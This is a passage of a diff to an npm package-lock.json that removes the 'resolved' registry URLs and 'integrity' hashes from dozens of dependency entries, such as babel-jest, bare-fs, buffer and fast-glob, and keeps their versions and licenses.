"sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", "license": "MIT" }, "node_modules/async-function": { @@ -3217,14 +3089,10 @@ }, "node_modules/asynckit": { "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", "license": "MIT" }, "node_modules/atomic-sleep": { "version": "1.0.0", - "resolved": "https://registry.npmjs.org/atomic-sleep/-/atomic-sleep-1.0.0.tgz", - "integrity": "sha512-kNOjDqAh7px0XWNI+4QbzoiR/nTkHAWNud2uvnJquD1/x5a7EQZMJT0AczqK0Qn67oY/TTQ1LbUKajZpp3I9tQ==", "license": "MIT", "engines": { "node": ">=8.0.0" @@ -3259,8 +3127,6 @@ }, "node_modules/b4a": { "version": "1.8.1", - "resolved": "https://registry.npmjs.org/b4a/-/b4a-1.8.1.tgz", - "integrity": "sha512-aiqre1Nr0B/6DgE2N5vwTc+2/oQZ4Wh1t4NznYY4E00y8LCt6NqdRv81so00oo27D8MVKTpUa/MwUUtBLXCoDw==", "license": "Apache-2.0", "peerDependencies": { "react-native-b4a": "*" @@ -3273,8 +3139,6 @@ }, "node_modules/babel-jest": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-30.4.1.tgz", - "integrity": "sha512-fATAbM8piYxkiXQp3RBXmZHxZVNJZAVXXfyeyCN2Tida3+qJ8ea9UxhiJ2y4fLO90ZImKt6k9FlcH2+rLkJGhw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -3313,8 +3177,6 @@ }, "node_modules/babel-plugin-jest-hoist": { "version": "30.4.0", - "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-30.4.0.tgz", - "integrity": "sha512-9EdtWM/sSfXLOGLwSn+GS6pIXyBnL07/8gyJlwFXjWy4DxMOyItqyUT29d4lQiS380EZwYlX7/At4PgBS+m2aA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -3351,8 +3213,6 @@ }, "node_modules/babel-preset-jest": { "version": "30.4.0", - "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-30.4.0.tgz", - "integrity": "sha512-lBY4jxsNmCnSiu7kquw8ZC9F4+XLMOKypT3RnNHPvU2Kpd4W0xaPuLr5ZkRyOsvLYAY4yaW1ZwTW4xB7NIiZzg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -3372,8 +3232,6 @@ }, "node_modules/bare-events": { "version": "2.9.1", - "resolved": "https://registry.npmjs.org/bare-events/-/bare-events-2.9.1.tgz", - "integrity": "sha512-Z0oHEHAFDZkffN8Qc39zNZjQlMDkPJRyyyZieU1VH7u8c5S+qHZ2S8ixdKIAxEjfHO7FJxXmJWgteOghVanIsg==", "license": "Apache-2.0", "peerDependencies": { "bare-abort-controller": "*" @@ -3386,8 +3244,6 @@ }, "node_modules/bare-fs": { "version": "4.7.2", - "resolved": "https://registry.npmjs.org/bare-fs/-/bare-fs-4.7.2.tgz", - "integrity": "sha512-aTvMFUWkBmjzKtEQMDGGDNF8bkfpD5N1b/FCwt7A3wrU4t1o/e/85Wzkluh6JlODCjqVESYCkQCdTXqZ9G7VFg==", "license": "Apache-2.0", "dependencies": { "bare-events": "^2.5.4", @@ -3410,8 +3266,6 @@ }, "node_modules/bare-os": { "version": "3.9.1", - "resolved": "https://registry.npmjs.org/bare-os/-/bare-os-3.9.1.tgz", - "integrity": "sha512-6M5XjcnsygQNPMCMPXSK379xrJFiZ/AEMNBmFEmQW8d/789VQATvriyi5r0HYTL9TkQ26rn3kgdTG3aisbrXkQ==", "license": "Apache-2.0", "engines": { "bare": ">=1.14.0" @@ -3419,8 +3273,6 @@ }, "node_modules/bare-path": { "version": "3.0.1", - "resolved": "https://registry.npmjs.org/bare-path/-/bare-path-3.0.1.tgz", - "integrity": "sha512-ghj2DSK/2e99a1anTVPCV4m4YIYtrbXhfM7V3D7XZLOTsybnYyaJloymGqssQc8l/or0UoDyRtNQkmkEF/ysgQ==", "license": "Apache-2.0", "dependencies": { "bare-os": "^3.0.1" @@ -3428,8 +3280,6 @@ }, "node_modules/bare-stream": { "version": "2.13.1", - "resolved": "https://registry.npmjs.org/bare-stream/-/bare-stream-2.13.1.tgz", - "integrity": "sha512-Vp0cnjYyrEC4whYTymQ+YZi6pBpfiICZO3cfRG8sy67ZNWe951urv1x4eW1BKNngw3U+3fPYb5JQvHbCtxH7Ow==", "license": "Apache-2.0", "dependencies": { "streamx": "^2.25.0", @@ -3454,8 +3304,6 @@ }, "node_modules/bare-url": { "version": "2.4.5", - "resolved": "https://registry.npmjs.org/bare-url/-/bare-url-2.4.5.tgz", - "integrity": "sha512-K+y9xF1tN+CdPu4qWwr0QiK1Al07eFPGYK5M2pDXcmHdMdgC/tT/bpmMe1hrmRHaidKLkXrC+cRNYf3XVDUhSQ==", "license": "Apache-2.0", "dependencies": { "bare-path": "^3.0.0" @@ -3463,8 +3311,6 @@ }, "node_modules/base64-js": { "version": "1.5.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", "funding": [ { "type": "github", @@ -3483,8 +3329,6 @@ }, "node_modules/base64url": { "version": "3.0.1", - "resolved": "https://registry.npmjs.org/base64url/-/base64url-3.0.1.tgz", - "integrity": "sha512-ir1UPr3dkwexU7FdV8qBBbNDRUhMmIekYMFZfi+C/sLNnRESKPl23nB9b2pltqfOQNnGzsDdId90AEtG5tCx4A==", "license": "MIT", "engines": { "node": ">=6.0.0" @@ -3499,8 +3343,6 @@ }, "node_modules/basic-ftp": { "version": "5.3.1", - "resolved": "https://registry.npmjs.org/basic-ftp/-/basic-ftp-5.3.1.tgz", - "integrity": "sha512-bopVNp6ugyA150DDuZfPFdt1KZ5a94ZDiwX4hMgZDzF+GttD80lEy8kj98kbyhLXnPvhtIo93mdnLIjpCAeeOw==", "license": "MIT", "engines": { "node": ">=10.0.0" @@ -3520,8 +3362,6 @@ }, "node_modules/braces": { "version": "3.0.3", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", - "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", "license": "MIT", "dependencies": { "fill-range": "^7.1.1" @@ -3582,8 +3422,6 @@ }, "node_modules/buffer": { "version": "6.0.3", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", - "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", "funding": [ { "type": "github", @@ -3606,8 +3444,6 @@ }, "node_modules/buffer-crc32": { "version": "1.0.0", - "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-1.0.0.tgz", - "integrity": "sha512-Db1SbgBS/fg/392AblrMJk97KggmvYhr4pB5ZIMTWtaivCPMWLkmb7m21cJvpvgK+J3nsU2CmmixNBZx4vFj/w==", "license": "MIT", "engines": { "node": ">=8.0.0" @@ -3615,14 +3451,10 @@ }, "node_modules/buffer-equal-constant-time": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", - "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", "license": "BSD-3-Clause" }, "node_modules/buffer-from": { "version": "1.1.2", - "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", - "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", "devOptional": true, "license": "MIT" }, @@ -3676,8 +3508,6 @@ }, "node_modules/camel-case": { "version": "4.1.2", - "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", - "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", "license": "MIT", "dependencies": { "pascal-case": "^3.1.2", @@ -3712,8 +3542,6 @@ }, "node_modules/capital-case": { "version": "1.0.4", - "resolved": "https://registry.npmjs.org/capital-case/-/capital-case-1.0.4.tgz", - "integrity": "sha512-ds37W8CytHgwnhGGTi88pcPyR15qoNkOpYwmMMfnWqqWgESapLqvDx6huFjQ5vqWSn2Z06173XNA7LtMOeUh1A==", "license": "MIT", "dependencies": { "no-case": "^3.0.4", @@ -3737,8 +3565,6 @@ }, "node_modules/change-case": { "version": "4.1.2", - "resolved": "https://registry.npmjs.org/change-case/-/change-case-4.1.2.tgz", - "integrity": "sha512-bSxY2ws9OtviILG1EiY5K7NNxkqg/JnRnFxLtKQ96JaviiIxi7djMrSd0ECT9AC+lttClmYwKw53BWpOMblo7A==", "license": "MIT", "dependencies": { "camel-case": "^4.1.2", @@ -3757,8 +3583,6 @@ }, "node_modules/char-regex": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", - "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", "devOptional": true, "license": "MIT", "engines": { @@ -3785,15 +3609,11 @@ }, "node_modules/cjs-module-lexer": { "version": "2.2.0", - "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-2.2.0.tgz", - "integrity": "sha512-4bHTS2YuzUvtoLjdy+98ykbNB5jS0+07EvFNXerqZQJ89F7DI6ET7OQo/HJuW6K0aVsKA9hj9/RVb2kQVOrPDQ==", "devOptional": true, "license": "MIT" }, "node_modules/cliui": { "version": "8.0.1", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", - "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", "devOptional": true, "license": "ISC", "dependencies": { @@ -3807,15 +3627,11 @@ }, "node_modules/cliui/node_modules/emoji-regex": { "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", "devOptional": true, "license": "MIT" }, "node_modules/cliui/node_modules/string-width": { "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", "devOptional": true, "license": "MIT", "dependencies": { @@ -3829,8 +3645,6 @@ }, "node_modules/cliui/node_modules/wrap-ansi": { "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", "devOptional": true, "license": "MIT", "dependencies": { @@ -3847,8 +3661,6 @@ }, "node_modules/co": { "version": "4.6.0", - "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", - "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==", "devOptional": true, "license": "MIT", "engines": { @@ -3858,8 +3670,6 @@ }, "node_modules/collect-v8-coverage": { "version": "1.0.3", - "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.3.tgz", - "integrity": "sha512-1L5aqIkwPfiodaMgQunkF1zRhNqifHBmtbbbxcr6yVxxBnliw4TDOW6NxpO8DJLgJ16OT+Y4ztZqP6p/FtXnAw==", "devOptional": true, "license": "MIT" }, @@ -3879,14 +3689,10 @@ }, "node_modules/colorette": { "version": "2.0.20", - "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", - "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", "license": "MIT" }, "node_modules/combined-stream": { "version": "1.0.8", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", "license": "MIT", "dependencies": { "delayed-stream": "~1.0.0" @@ -3904,8 +3710,6 @@ }, "node_modules/compress-commons": { "version": "6.0.2", - "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-6.0.2.tgz", - "integrity": "sha512-6FqVXeETqWPoGcfzrXb37E50NP0LXT8kAMu5ooZayhWWdgEY4lBEEcbQNXtkuKQsGduxiIcI4gOTsxTmuq/bSg==", "license": "MIT", "dependencies": { "crc-32": "^1.2.0", @@ -3920,8 +3724,6 @@ }, "node_modules/compress-commons/node_modules/readable-stream": { "version": "4.7.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", - "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", "license": "MIT", "dependencies": { "abort-controller": "^3.0.0", @@ -3936,8 +3738,6 @@ }, "node_modules/compress-commons/node_modules/safe-buffer": { "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", "funding": [ { "type": "github", @@ -3956,8 +3756,6 @@ }, "node_modules/compress-commons/node_modules/string_decoder": { "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "license": "MIT", "dependencies": { "safe-buffer": "~5.2.0" @@ -3969,8 +3767,6 @@ }, "node_modules/constant-case": { "version": "3.0.4", - "resolved": "https://registry.npmjs.org/constant-case/-/constant-case-3.0.4.tgz", - "integrity": "sha512-I2hSBi7Vvs7BEuJDr5dDHfzb/Ruj3FyvFyh7KLilAjNQw3Be+xgqUBA2W6scVEcL0hL1dwPRtIqEPVUCKkSsyQ==", "license": "MIT", "dependencies": { "no-case": "^3.0.4", @@ -3988,8 +3784,6 @@ }, "node_modules/crc-32": { "version": "1.2.2", - "resolved": "https://registry.npmjs.org/crc-32/-/crc-32-1.2.2.tgz", - "integrity": "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==", "license": "Apache-2.0", "bin": { "crc32": "bin/crc32.njs" @@ -4000,8 +3794,6 @@ }, "node_modules/crc32-stream": { "version": "6.0.0", - "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-6.0.0.tgz", - "integrity": "sha512-piICUB6ei4IlTv1+653yq5+KoqfBYmj9bw6LqXoOneTMDXk5nM1qt12mFW1caG3LlJXEKW1Bp0WggEmIfQB34g==", "license": "MIT", "dependencies": { "crc-32": "^1.2.0", @@ -4013,8 +3805,6 @@ }, "node_modules/crc32-stream/node_modules/readable-stream": { "version": "4.7.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", - "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", "license": "MIT", "dependencies": { "abort-controller": "^3.0.0", @@ -4029,8 +3819,6 @@ }, "node_modules/crc32-stream/node_modules/safe-buffer": { "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", "funding": [ { "type": "github", @@ -4049,8 +3837,6 @@ }, "node_modules/crc32-stream/node_modules/string_decoder": { "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "license": "MIT", "dependencies": { "safe-buffer": "~5.2.0" @@ -4086,8 +3872,6 @@ }, "node_modules/csprng": { "version": "0.1.2", - "resolved": "https://registry.npmjs.org/csprng/-/csprng-0.1.2.tgz", - "integrity": "sha512-D3WAbvvgUVIqSxUfdvLeGjuotsB32bvfVPd+AaaTWMtyUeC9zgCnw5xs94no89yFLVsafvY9dMZEhTwsY/ZecA==", "license": "MIT", "dependencies": { "sequin": "*" @@ -4098,14 +3882,10 @@ }, "node_modules/csv-parse": { "version": "5.6.0", - "resolved": "https://registry.npmjs.org/csv-parse/-/csv-parse-5.6.0.tgz", - "integrity": "sha512-l3nz3euub2QMg5ouu5U09Ew9Wf6/wQ8I++ch1loQ0ljmzhmfZYrH9fflS22i/PQEvsPvxCwxgz5q7UB8K1JO4Q==", "license": "MIT" }, "node_modules/csv-stringify": { "version": "6.8.1", - "resolved": "https://registry.npmjs.org/csv-stringify/-/csv-stringify-6.8.1.tgz", - "integrity": "sha512-tZ6X6TKQyQgCo5OptXcyAbfN1pwmoxEqELPQ7KFazNErx7kiVsDK8o+VYRXhfMl4N9vvOOLXuioquR2MeP847A==", "license": "MIT" }, "node_modules/damerau-levenshtein": { @@ -4166,8 +3946,6 @@ }, "node_modules/dateformat": { "version": "4.6.3", - "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-4.6.3.tgz", - "integrity": "sha512-2P0p0pFGzHS5EMnhdxQi7aJN+iMheud0UhG4dlE1DLAlvL8JHjJJTX/CSm4JXwV0Ka5nGk3zC5mcb5bUQUxxMA==", "license": "MIT", "engines": { "node": "*" @@ -4190,8 +3968,6 @@ }, "node_modules/dedent": { "version": "1.7.2", - "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.7.2.tgz", - "integrity": "sha512-WzMx3mW98SN+zn3hgemf4OzdmyNhhhKz5Ay0pUfQiMQ3e1g+xmTJWp/pKdwKVXhdSkAEGIIzqeuWrL3mV/AXbA==", "devOptional": true, "license": "MIT", "peerDependencies": { @@ -4209,8 +3985,6 @@ }, "node_modules/deepmerge": { "version": "4.3.1", - "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", - "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", "devOptional": true, "license": "MIT", "engines": { @@ -4261,8 +4035,6 @@ }, "node_modules/delayed-stream": { "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", "license": "MIT", "engines": { "node": ">=0.4.0" @@ -4270,8 +4042,6 @@ }, "node_modules/detect-newline": { "version": "3.1.0", - "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", - "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==", "devOptional": true, "license": "MIT", "engines": { @@ -4290,8 +4060,6 @@ }, "node_modules/dot-case": { "version": "3.0.4", - "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", - "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", "license": "MIT", "dependencies": { "no-case": "^3.0.4", @@ -4320,14 +4088,10 @@ }, "node_modules/eastasianwidth": { "version": "0.2.0", - "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", - "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", "license": "MIT" }, "node_modules/ecdsa-sig-formatter": { "version": "1.0.11", - "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", - "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", "license": "Apache-2.0", "dependencies": { "safe-buffer": "^5.0.1" @@ -4339,8 +4103,6 @@ }, "node_modules/emittery": { "version": "0.13.1", - "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.13.1.tgz", - "integrity": "sha512-DeWwawk6r5yR9jFgnDKYt4sLS0LmHJJi3ZOnb5/JdbYwj3nW+FxQnHIjhBKz8YLC7oRNPVM9NQ47I3CVx34eqQ==", "devOptional": true, "license": "MIT", "engines": { @@ -4356,8 +4118,6 @@ }, "node_modules/end-of-stream": { "version": "1.4.5", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", - "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", "license": "MIT", "dependencies": { "once": "^1.4.0" @@ -4365,8 +4125,6 @@ }, "node_modules/error-ex": { "version": "1.3.4", - "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.4.tgz", - "integrity": "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -4666,8 +4424,6 @@ }, "node_modules/eslint-plugin-import": { "version": "2.32.0", - "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.32.0.tgz", - "integrity": "sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==", "license": "MIT", "dependencies": { "@rtsao/scc": "^1.1.0", @@ -4741,8 +4497,6 @@ }, "node_modules/eslint-plugin-jest": { "version": "29.16.0", - "resolved": "https://registry.npmjs.org/eslint-plugin-jest/-/eslint-plugin-jest-29.16.0.tgz", - "integrity": "sha512-0WFBxDHlT2ratGQfnFQEVIsgQJ5cfd+0IV8Kc6U3X2onB8ATLG23voD2Ch5G9fCkEpCPmCMuzW0tbS0kYb8biw==", "license": "MIT", "dependencies": { "@typescript-eslint/utils": "^8.0.0" @@ -4845,8 +4599,6 @@ }, "node_modules/eslint-plugin-react-hooks": { "version": "7.1.1", - "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-7.1.1.tgz", - "integrity": "sha512-f2I7Gw6JbvCexzIInuSbZpfdQ44D7iqdWX01FKLvrPgqxoE7oMj8clOfto8U6vYiz4yd5oKu39rRSVOe1zRu0g==", "license": "MIT", "dependencies": { "@babel/core": "^7.24.4", @@ -5106,8 +4858,6 @@ }, "node_modules/event-target-shim": { "version": "5.0.1", - "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", - "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", "license": "MIT", "engines": { "node": ">=6" @@ -5115,8 +4865,6 @@ }, "node_modules/events": { "version": "3.3.0", - "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", - "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", "license": "MIT", "engines": { "node": ">=0.8.x" @@ -5124,8 +4872,6 @@ }, "node_modules/events-universal": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/events-universal/-/events-universal-1.0.1.tgz", - "integrity": "sha512-LUd5euvbMLpwOF8m6ivPCbhQeSiYVNb8Vs0fQ8QjXo0JTkEHpz8pxdQf0gStltaPpw0Cca8b39KxvK9cfKRiAw==", "license": "Apache-2.0", "dependencies": { "bare-events": "^2.7.0" @@ -5133,8 +4879,6 @@ }, "node_modules/execa": { "version": "5.1.1", - "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", - "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -5157,15 +4901,11 @@ }, "node_modules/execa/node_modules/signal-exit": { "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", "devOptional": true, "license": "ISC" }, "node_modules/exit-x": { "version": "0.2.2", - "resolved": "https://registry.npmjs.org/exit-x/-/exit-x-0.2.2.tgz", - "integrity": "sha512-+I6B/IkJc1o/2tiURyz/ivu/O0nKNEArIUB5O7zBrlDVJr22SCLH3xTeEry428LvFhRzIA1g8izguxJ/gbNcVQ==", "devOptional": true, "license": "MIT", "engines": { @@ -5174,8 +4914,6 @@ }, "node_modules/expect": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/expect/-/expect-30.4.1.tgz", - "integrity": "sha512-PMARsyh/JtqC20HoGqlFcIlQAyqUtW4PlI1rup1uhYJtKuwAjbvWi3GQMAn+STdHum/dk8xrKfUM1+5SAwpolA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -5192,8 +4930,6 @@ }, "node_modules/fast-copy": { "version": "3.0.2", - "resolved": "https://registry.npmjs.org/fast-copy/-/fast-copy-3.0.2.tgz", - "integrity": "sha512-dl0O9Vhju8IrcLndv2eU4ldt1ftXMqqfgN4H1cpmGV7P6jeB9FwpN9a2c8DPGE1Ys88rNUJVYDHq73CGAGOPfQ==", "license": "MIT" }, "node_modules/fast-deep-equal": { @@ -5202,14 +4938,10 @@ }, "node_modules/fast-fifo": { "version": "1.3.2", - "resolved": "https://registry.npmjs.org/fast-fifo/-/fast-fifo-1.3.2.tgz", - "integrity": "sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==", "license": "MIT" }, "node_modules/fast-glob": { "version": "3.3.3", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", - "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", "license": "MIT", "dependencies": { "@nodelib/fs.stat": "^2.0.2", @@ -5224,8 +4956,6 @@ }, "node_modules/fast-glob/node_modules/glob-parent": { "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", "license": "ISC", "dependencies": { "is-glob": "^4.0.1" @@ -5244,14 +4974,10 @@ }, "node_modules/fast-safe-stringify": { "version": "2.1.1", - "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", - "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==", "license": "MIT" }, "node_modules/fast-uri": { "version": "3.1.0", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz", - "integrity": 